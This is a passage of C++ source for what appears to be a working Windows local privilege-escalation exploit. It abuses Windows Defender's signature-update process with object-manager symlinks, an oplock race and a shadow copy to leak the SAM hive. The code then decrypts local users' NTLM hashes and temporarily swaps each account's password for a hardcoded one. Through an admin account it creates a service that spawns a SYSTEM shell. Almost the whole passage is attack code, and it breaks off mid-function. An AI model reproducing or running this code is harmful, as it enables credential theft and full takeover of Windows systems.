  1981. BOOL SetPrivilege(
  1982. HANDLE hToken, // access token handle
  1983. LPCTSTR lpszPrivilege, // name of privilege to enable/disable
  1984. BOOL bEnablePrivilege // to enable or disable privilege
  1985. )
  1986. {
  1987. TOKEN_PRIVILEGES tp;
  1988. LUID luid;
  1989. if (!LookupPrivilegeValue(
  1990. NULL, // lookup privilege on local system
  1991. lpszPrivilege, // privilege to lookup
  1992. &luid)) // receives LUID of privilege
  1993. {
  1994. printf("LookupPrivilegeValue error: %u\n", GetLastError());
  1995. return FALSE;
  1996. }
  1997. tp.PrivilegeCount = 1;
  1998. tp.Privileges[0].Luid = luid;
  1999. if (bEnablePrivilege)
  2000. tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  2001. else
  2002. tp.Privileges[0].Attributes = 0;
  2003. // Enable the privilege or disable all privileges.
  2004. if (!AdjustTokenPrivileges(
  2005. hToken,
  2006. FALSE,
  2007. &tp,
  2008. 0,
  2009. (PTOKEN_PRIVILEGES)NULL,
  2010. (PDWORD)NULL))
  2011. {
  2012. printf("AdjustTokenPrivileges error: %u\n", GetLastError());
  2013. return FALSE;
  2014. }
  2015. if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
  2016. {
  2017. printf("The token does not have the specified privilege. \n");
  2018. return FALSE;
  2019. }
  2020. return TRUE;
  2021. }
  2022. bool DoSpawnShellAsAllUsers(HANDLE samfile)
  2023. {
  2024. //SSL_library_init();
  2025. //SSL_load_error_strings();
  2026. char newpassword[] = "$PWNed666!!!WDFAIL";
  2027. wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL";
  2028. char* newNTLM = CalculateNTLMHash(newpassword);
  2029. bool isadmin = false;
  2030. char* retval = 0;
  2031. ORHKEY hSAMhive = NULL;
  2032. ORHKEY hSYSTEMhive = NULL;
  2033. DWORD err = OROpenHiveByHandle(samfile, &hSAMhive);
  2034. bool systemshelllaunched = false;
  2035. if (err)
  2036. {
  2037. printf("OROpenHive failed with error : %d\n", err);
  2038. return false;
  2039. }
  2040. unsigned char lsakey[16] = { 0 };
  2041. if (!GetLSASecretKey(lsakey))
  2042. {
  2043. printf("Failed to dump LSA secret keys.\n");
  2044. return false;
  2045. }
  2046. ORHKEY hkey = NULL;
  2047. err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey);
  2048. DWORD valuesz = 0;
  2049. err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz);
  2050. if (err)
  2051. {
  2052. printf("ORGetValue failed with error : %d\n", err);
  2053. return false;
  2054. }
  2055. char* samkey = (char*)malloc(valuesz);
  2056. err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz);
  2057. if (err)
  2058. {
  2059. printf("ORGetValue failed with error : %d\n", err);
  2060. return false;
  2061. }
  2062. ORCloseKey(hkey);
  2063. ///////////////////////////////////////////////////////////
  2064. int passwordEncryptionKeysz = 0;
  2065. char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz);
  2066. err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey);
  2067. if (err)
  2068. {
  2069. printf("OROpenKey failed with error : %d\n", err);
  2070. return false;
  2071. }
  2072. DWORD subkeys = NULL;
  2073. err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
  2074. if (err)
  2075. {
  2076. printf("ORQueryInfoKey failed with error : %d\n", err);
  2077. return false;
  2078. }
  2079. PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys);
  2080. int numofentries = 0;
  2081. for (int i = 0; i < subkeys; i++)
  2082. {
  2083. DWORD keynamesz = 0x100;
  2084. wchar_t keyname[0x100] = { 0 };
  2085. err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL);
  2086. if (err)
  2087. {
  2088. printf("OREnumKey failed with error : %d\n", err);
  2089. return false;
  2090. }
  2091. if (_wcsicmp(keyname, L"users") == 0)
  2092. continue;
  2093. ORHKEY hkey2 = NULL;
  2094. err = OROpenKey(hkey, keyname, &hkey2);
  2095. if (err)
  2096. {
  2097. printf("OROpenKey failed with error : %d\n", err);
  2098. return false;
  2099. }
  2100. DWORD valuesz = 0;
  2101. err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz);
  2102. if (err == ERROR_FILE_NOT_FOUND)
  2103. continue;
  2104. if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) {
  2105. printf("ORGetValue failed with error : %d\n", err);
  2106. return false;
  2107. }
  2108. PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc));
  2109. ZeroMemory(SAMpwd, sizeof(PwdEnc));
  2110. SAMpwd->sz = valuesz;
  2111. SAMpwd->buff = (char*)malloc(valuesz);
  2112. ZeroMemory(SAMpwd->buff, valuesz);
  2113. err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz);
  2114. if (err)
  2115. {
  2116. printf("ORGetValue failed with error : %d\n", err);
  2117. return false;
  2118. }
  2119. SAMpwd->rid = wcstoul(keyname, NULL, 16);
  2120. ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET];
  2121. SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
  2122. ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET];
  2123. SAMpwd->usernamesz = *usernamesz;
  2124. ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET];
  2125. SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
  2126. ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET];
  2127. SAMpwd->LMHashLenght = *LMhashsz;
  2128. ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET];
  2129. SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
  2130. ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET];
  2131. SAMpwd->NTHashLenght = *NThashsz;
  2132. pwdenclist[i] = SAMpwd;
  2133. numofentries++;
  2134. }
  2135. wchar_t currentusername[UNLEN + 1] = { 0 };
  2136. DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t);
  2137. if (!GetUserName(currentusername, &usernamesz))
  2138. {
  2139. printf("Failed to get current user name, error : %d", GetLastError());
  2140. return false;
  2141. }
  2142. for (int i = 0; i < numofentries; i++)
  2143. {
  2144. PwdEnc* samentry = pwdenclist[i];
  2145. int realNTLMHashsz = 0;
  2146. char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid);
  2147. char* stringntlm = 0;
  2148. char emptyrepresentation[] = "{NULL}";
  2149. if (realNTLMHashsz)
  2150. {
  2151. stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz);
  2152. }
  2153. else
  2154. {
  2155. stringntlm = emptyrepresentation;
  2156. }
  2157. wchar_t username[UNLEN + 1] = { 0 };
  2158. if (samentry->usernamesz <= sizeof(username))
  2159. {
  2160. memmove(username, samentry->username, samentry->usernamesz);
  2161. }
  2162. printf("******************************************\n");
  2163. printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm);
  2164. if (realNTLMHash == NULL || realNTLMHashsz == 0) {
  2165. printf(" Skip : NULL NTLM.\n");
  2166. continue;
  2167. }
  2168. if (_wcsicmp(username, currentusername) == 0)
  2169. {
  2170. printf(" Skip : Current User.\n");
  2171. continue;
  2172. }
  2173. if (_wcsicmp(username, L"WDAGUtilityAccount") == 0)
  2174. {
  2175. printf(" Skip : WDAGUtilityAccount detected.\n");
  2176. continue;
  2177. }
  2178. retval = realNTLMHash;
  2179. if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM))
  2180. {
  2181. printf(" NewPasswordSet : OK.\n");
  2182. HANDLE htoken = NULL;
  2183. PSID logonsid = 0;
  2184. if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL))
  2185. {
  2186. printf("LogonUserEx failed, error : %d\n", GetLastError());
  2187. }
  2188. if (!systemshelllaunched) {
  2189. TOKEN_ELEVATION_TYPE tokentype;
  2190. DWORD retsz = 0;
  2191. if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz))
  2192. {
  2193. printf("GetTokenInformation failed with error : %d\n", GetLastError());
  2194. }
  2195. if (tokentype == TokenElevationTypeLimited)
  2196. {
  2197. TOKEN_LINKED_TOKEN linkedtoken = { 0 };
  2198. if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz))
  2199. {
  2200. printf("GetTokenInformation failed with error : %d\n", GetLastError());
  2201. }
  2202. HANDLE hdup = linkedtoken.LinkedToken;
  2203. DWORD sidsz = MAX_SID_SIZE;
  2204. PSID administratorssid = malloc(sidsz);
  2205. if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz))
  2206. {
  2207. printf("Failed to create well known sid, error : %d\n", GetLastError());
  2208. }
  2209. if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin))
  2210. {
  2211. printf("CheckTokenMembership failed with error : %d\n", GetLastError());
  2212. }
  2213. free(administratorssid);
  2214. CloseHandle(hdup);
  2215. }
  2216. if (isadmin)
  2217. {
  2218. printf(" IsAdmin : TRUE\n");
  2219. HANDLE htoken2 = NULL;
  2220. if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL))
  2221. {
  2222. printf("LogonUserEx failed, error : %d\n", GetLastError());
  2223. }
  2224. //SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE);
  2225. const wchar_t sid_string[] = L"S-1-16-8192";
  2226. TOKEN_MANDATORY_LABEL integrity;
  2227. PSID sid = NULL;
  2228. ConvertStringSidToSidW(sid_string, &sid);
  2229. ZeroMemory(&integrity, sizeof(integrity));
  2230. integrity.Label.Attributes = SE_GROUP_INTEGRITY;
  2231. integrity.Label.Sid = sid;
  2232. if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) {
  2233. wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError());
  2234. }
  2235. LocalFree(sid);
  2236. //CloseHandle(htoken2);
  2237. ImpersonateLoggedOnUser(htoken2);
  2238. SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
  2239. if (!hmgr)
  2240. {
  2241. printf("OpenSCManager failed with error : %d", GetLastError());
  2242. }
  2243. GUID uid = { 0 };
  2244. RPC_WSTR wuid = { 0 };
  2245. wchar_t* wuid2 = 0;
  2246. UuidCreate(&uid);
  2247. UuidToStringW(&uid, &wuid);
  2248. wuid2 = (wchar_t*)wuid;
  2249. wchar_t binpath[MAX_PATH] = { 0 };
  2250. GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH);
  2251. wchar_t servicecmd[MAX_PATH] = { 0 };
  2252. DWORD currentsesid = 0;
  2253. ProcessIdToSessionId(GetCurrentProcessId(), &currentsesid);
  2254. wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid);
  2255. SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL);
  2256. if (!hsvc)
  2257. {
  2258. printf("CreateService Failed with error : %d\n", GetLastError());
  2259. }
  2260. else {
  2261. printf(" SYSTEMShell : OK.\n");
  2262. }
  2263. StartService(hsvc, NULL, NULL);
  2264. Sleep(100);
  2265. DeleteService(hsvc);
  2266. CloseServiceHandle(hsvc);
  2267. CloseServiceHandle(hmgr);
  2268. RevertToSelf();
  2269. CloseHandle(htoken2);
  2270. systemshelllaunched = true;
  2271. }
  2272. else {
  2273. printf(" IsAdmin : FALSE\n");
  2274. }
  2275. }
  2276. STARTUPINFO si = { 0 };
  2277. PROCESS_INFORMATION pi = { 0 };
  2278. if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
  2279. {
  2280. printf(" Shell : Error %d\n", GetLastError());
  2281. }
  2282. else {
  2283. printf(" Shell : OK.\n");
  2284. if (pi.hProcess)
  2285. CloseHandle(pi.hProcess);
  2286. if (pi.hThread)
  2287. CloseHandle(pi.hThread);
  2288. }
  2289. if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash))
  2290. {
  2291. printf(" PasswordRestore : Error %d\n", GetLastError());
  2292. }
  2293. else {
  2294. printf(" PasswordRestore : OK.\n");
  2295. }
  2296. CloseHandle(htoken);
  2297. }
  2298. // __debugbreak();
  2299. }
  2300. ORCloseHive(hSAMhive);
  2301. printf("******************************************\n");
  2302. free(newNTLM);
  2303. return true;
  2304. }
  2305. bool IsRunningAsLocalSystem()
  2306. {
  2307. HANDLE htoken = NULL;
  2308. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
  2309. printf("OpenProcessToken failed, error : %d\n", GetLastError());
  2310. return false;
  2311. }
  2312. TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
  2313. DWORD retsz = 0;
  2314. bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
  2315. CloseHandle(htoken);
  2316. if (!res)
  2317. return false;
  2318. return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
  2319. }
  2320. void LaunchConsoleInSessionId(DWORD sessionid)
  2321. {
  2322. HANDLE htoken = NULL;
  2323. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
  2324. return;
  2325. SetPrivilege(htoken, SE_TCB_NAME, TRUE);
  2326. SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
  2327. SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE);
  2328. SetPrivilege(htoken, SE_DEBUG_NAME, TRUE);
  2329. HANDLE hnewtoken = NULL;
  2330. bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
  2331. CloseHandle(htoken);
  2332. if (!res)
  2333. return;
  2334. res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
  2335. if (!res)
  2336. {
  2337. CloseHandle(hnewtoken);
  2338. return;
  2339. }
  2340. STARTUPINFO si = { 0 };
  2341. PROCESS_INFORMATION pi = { 0 };
  2342. CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
  2343. CloseHandle(hnewtoken);
  2344. if (pi.hProcess)
  2345. CloseHandle(pi.hProcess);
  2346. if (pi.hThread)
  2347. CloseHandle(pi.hThread);
  2348. return;
  2349. }
  2350. //////////////////////////////////////////////////////////////////////
  2351. // Exploit shell spawn end
  2352. /////////////////////////////////////////////////////////////////////
  2353. int wmain(int argc, wchar_t* argv[])
  2354. {
  2355. if (IsRunningAsLocalSystem())
  2356. {
  2357. printf("Running as local system.\n");
  2358. if (argc == 2)
  2359. {
  2360. DWORD sessionid = _wtoi(argv[1]);
  2361. if (sessionid) {
  2362. printf("Session id : %d\n", sessionid);
  2363. LaunchConsoleInSessionId(sessionid);
  2364. }
  2365. }
  2366. return 0;
  2367. }
  2368. DWORD _sesid = 0;
  2369. ProcessIdToSessionId(GetCurrentProcessId(), &_sesid);
  2370. const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"}
  2371. /*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/
  2372. };
  2373. wchar_t fullvsspath[MAX_PATH] = { 0 };
  2374. HANDLE hreleaseready = NULL;
  2375. wchar_t updtitle[0x200] = { 0 };
  2376. wchar_t targetfile[MAX_PATH] = { 0 };
  2377. wchar_t nttargetfile[MAX_PATH] = { 0 };
  2378. HANDLE htransaction = NULL;
  2379. wchar_t* filestodel[100] = { 0 };
  2380. HINTERNET hint = NULL;
  2381. HINTERNET hint2 = NULL;
  2382. char data[0x1000] = { 0 };
  2383. DWORD index = 0;
  2384. DWORD sz = sizeof(data);
  2385. bool res2 = 0;
  2386. wchar_t filesz[50] = { 0 };
  2387. LARGE_INTEGER li = { 0 };
  2388. GUID uid = { 0 };
  2389. RPC_WSTR wuid = { 0 };
  2390. wchar_t* wuid2 = 0;
  2391. wchar_t envstr[MAX_PATH] = { 0 };
  2392. wchar_t mpampath[MAX_PATH] = { 0 };
  2393. HANDLE hmpap = NULL;
  2394. void* exebuff = NULL;
  2395. DWORD readsz = 0;
  2396. HANDLE hmapping = NULL;
  2397. void* mappedbuff = NULL;
  2398. HRSRC hres = NULL;
  2399. DWORD ressz = NULL;
  2400. HGLOBAL cabbuff = NULL;
  2401. wchar_t cabpath[MAX_PATH] = { 0 };
  2402. wchar_t updatepath[MAX_PATH] = { 0 };
  2403. HANDLE hcab = NULL;
  2404. ERF erfstruct = { 0 };
  2405. HFDI hcabctx = NULL;
  2406. char _updatepath[MAX_PATH] = { 0 };
  2407. bool extractres = false;
  2408. char buff[0x1000] = { 0 };
  2409. DWORD retbytes = 0;
  2410. DWORD tid = 0;
  2411. HANDLE hthread = NULL;
  2412. WDRPCWorkerThreadArgs threadargs = { 0 };
  2413. HANDLE hcurrentthread = NULL;
  2414. HANDLE hdir = NULL;
  2415. wchar_t newdefupdatedirname[MAX_PATH] = { 0 };
  2416. wchar_t updatelibpath[MAX_PATH] = { 0 };
  2417. UNICODE_STRING unistrupdatelibpath = { 0 };
  2418. OBJECT_ATTRIBUTES objattr = { 0 };
  2419. IO_STATUS_BLOCK iostat = { 0 };
  2420. HANDLE hupdatefile = NULL;
  2421. UNICODE_STRING objlinkname = { 0 };
  2422. UNICODE_STRING objlinktarget = { 0 };
  2423. NTSTATUS ntstat = 0;
  2424. OVERLAPPED ovd = { 0 };
  2425. DWORD transfersz = 0;
  2426. wchar_t newname[MAX_PATH] = { 0 };
  2427. DWORD renstructsz = 0;
  2428. size_t targetsz = 0;
  2429. size_t printnamesz = 0;
  2430. size_t pathbuffersz = 0;
  2431. size_t totalsz = 0;
  2432. REPARSE_DATA_BUFFER* rdb = 0;
  2433. DWORD cb = 0;
  2434. OVERLAPPED ov = { 0 };
  2435. bool ret = false;
  2436. DWORD retsz = 0;
  2437. HANDLE hleakedfile = NULL;
  2438. HANDLE hobjlink = NULL;
  2439. LARGE_INTEGER _filesz = { 0 };
  2440. OVERLAPPED ovd2 = { 0 };
  2441. DWORD __readsz = 0;
  2442. void* leakedfilebuff = 0;
  2443. bool filelocked = false;
  2444. bool needcabcleanup = false;
  2445. bool dirmoved = false;
  2446. bool needupdatedircleanup = false;
  2447. UpdateFiles* UpdateFilesList = NULL;
  2448. UpdateFiles* UpdateFilesListCurrent = NULL;
  2449. bool isvssready = false;
  2450. bool criterr = false;
  2451. HANDLE hobjworkdir = NULL;
  2452. HANDLE hsymlink = NULL;
  2453. wchar_t objdirpath[MAX_PATH] = { 0 };
  2454. try {
  2455. printf("Checking for windows defender signature updates...\n");
  2456. while (!CheckForWDUpdates(updtitle, &criterr)){
  2457. if (criterr)
  2458. goto cleanup;
  2459. printf("No updates found for windows defender. Recheking in 30 seconds...\n");
  2460. Sleep(30000);
  2461. }
  2462. printf("Found Update : \n%ws\n", updtitle);
  2463. UpdateFilesList = GetUpdateFiles();
  2464. if (!UpdateFilesList)
  2465. {
  2466. goto cleanup;
  2467. }
  2468. printf("Updates downloaded.\n");
  2469. printf("Creating VSS copy...\n");
  2470. hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL);
  2471. if (!hreleaseready)
  2472. {
  2473. printf("Failed to create event error : %d\n", GetLastError());
  2474. goto cleanup;
  2475. }
  2476. isvssready = TriggerWDForVS(hreleaseready, fullvsspath);
  2477. if (!isvssready)
  2478. goto cleanup;
  2479. for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++)
  2480. {
  2481. ZeroMemory(objdirpath, sizeof(objdirpath));
  2482. UpdateFilesListCurrent = UpdateFilesList;
  2483. UuidCreate(&uid);
  2484. UuidToStringW(&uid, &wuid);
  2485. wuid2 = (wchar_t*)wuid;
  2486. wcscpy(envstr, L"%TEMP%\\");
  2487. wcscat(envstr, wuid2);
  2488. {
  2489. OBJECT_ATTRIBUTES ndirobjattr = { 0 };
  2490. UNICODE_STRING objdirunistr = { 0 };
  2491. wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2);
  2492. RtlInitUnicodeString(&objdirunistr, objdirpath);
  2493. InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
  2494. ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL);
  2495. if (ntstat)
  2496. {
  2497. printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat);
  2498. goto cleanup;
  2499. }
  2500. }
  2501. ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH);
  2502. needupdatedircleanup = CreateDirectory(updatepath, NULL);
  2503. if (!needupdatedircleanup)
  2504. {
  2505. printf("Failed to create update directory, error : %d", GetLastError());
  2506. goto cleanup;
  2507. }
  2508. printf("Created update directory %ws\n", updatepath);
  2509. {
  2510. UNICODE_STRING _unisrc = { 0 };
  2511. RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
  2512. OBJECT_ATTRIBUTES _smobjattr = { 0 };
  2513. InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
  2514. UNICODE_STRING _unidest = { 0 };
  2515. wchar_t unidest[MAX_PATH] = { 0 };
  2516. wcscpy(unidest, L"\\??\\");
  2517. wcscat(unidest, updatepath);
  2518. RtlInitUnicodeString(&_unidest, unidest);
  2519. ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
  2520. if (ntstat)
  2521. {
  2522. printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
  2523. goto cleanup;
  2524. }
  2525. }
  2526. while (UpdateFilesListCurrent)
  2527. {
  2528. wchar_t filepath[MAX_PATH] = { 0 };
  2529. wchar_t filename[MAX_PATH] = { 0 };
  2530. wcscpy(filepath, updatepath);
  2531. wcscat(filepath, L"\\");
  2532. MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH);
  2533. wcscat(filepath, filename);
  2534. HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL);
  2535. if (!hupdate || hupdate == INVALID_HANDLE_VALUE)
  2536. {
  2537. printf("Failed to create update file, error : %d", GetLastError());
  2538. goto cleanup;
  2539. }
  2540. UpdateFilesListCurrent->filecreated = true;
  2541. DWORD writtenbytes = 0;
  2542. if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL))
  2543. {
  2544. printf("Failed to write update file, error : %d", GetLastError());
  2545. CloseHandle(hupdate);
  2546. goto cleanup;
  2547. }
  2548. CloseHandle(hupdate);
  2549. printf("Created update file : %ws\n", filepath);
  2550. UpdateFilesListCurrent = UpdateFilesListCurrent->next;
  2551. }
  2552. hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);
  2553. if (!hdir || hdir == INVALID_HANDLE_VALUE)
  2554. {
  2555. printf("Failed to open definition updates directory, error : %d", GetLastError());
  2556. goto cleanup;
  2557. }
  2558. hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId());
  2559. if (!hcurrentthread)
  2560. {
  2561. printf("Unexpected error while opening current thread, error : %d", GetLastError());
  2562. goto cleanup;
  2563. }
  2564. wchar_t thrdupdpath[MAX_PATH] = { 0 };
  2565. wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2);
  2566. threadargs.dirpath = thrdupdpath;
  2567. threadargs.hntfythread = hcurrentthread;
  2568. threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL);
  2569. hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid);
  2570. printf("Waiting for windows defender to create a new definition update directory...\n");
  2571. wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\");
  2572. do {
  2573. ZeroMemory(buff, sizeof(buff));
  2574. OVERLAPPED od = { 0 };
  2575. od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
  2576. ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL);
  2577. HANDLE events[2] = { od.hEvent, threadargs.hevent };
  2578. if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0)
  2579. {
  2580. printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res);
  2581. goto cleanup;
  2582. }
  2583. CloseHandle(od.hEvent);
  2584. PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;
  2585. if (pfni->Action != FILE_ACTION_ADDED)
  2586. continue;
  2587. wcscat(newdefupdatedirname, pfni->FileName);
  2588. break;
  2589. } while (1);
  2590. printf("Detected new definition update directory in %ws\n", newdefupdatedirname);
  2591. wcscpy(updatelibpath, L"\\??\\");
  2592. wcscat(updatelibpath, updatepath);
  2593. wcscat(updatelibpath, L"\\mpasbase.vdm");
  2594. RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath);
  2595. InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
  2596. ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
  2597. if (ntstat)
  2598. {
  2599. printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat);
  2600. goto cleanup;
  2601. }
  2602. printf("Setting oplock on %ws\n", updatelibpath);
  2603. ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
  2604. DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
  2605. if (GetLastError() != ERROR_IO_PENDING)
  2606. {
  2607. printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
  2608. goto cleanup;
  2609. }
  2610. printf("Waiting for oplock to trigger...\n");
  2611. GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE);
  2612. printf("oplock triggered !\n");
  2613. CloseHandle(hsymlink);
  2614. {
  2615. UNICODE_STRING _unisrc = { 0 };
  2616. RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
  2617. OBJECT_ATTRIBUTES _smobjattr = { 0 };
  2618. InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
  2619. UNICODE_STRING _unidest = { 0 };
  2620. RtlInitUnicodeString(&_unidest, objdirpath);
  2621. ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
  2622. if (ntstat)
  2623. {
  2624. printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
  2625. goto cleanup;
  2626. }
  2627. RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm");
  2628. ZeroMemory(nttargetfile, sizeof(nttargetfile));
  2629. wcscpy(nttargetfile, fullvsspath);
  2630. wcscat(nttargetfile, filestoleak[x]);
  2631. RtlInitUnicodeString(&objlinktarget, nttargetfile);
  2632. InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
  2633. ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget);
  2634. if (ntstat)
  2635. {
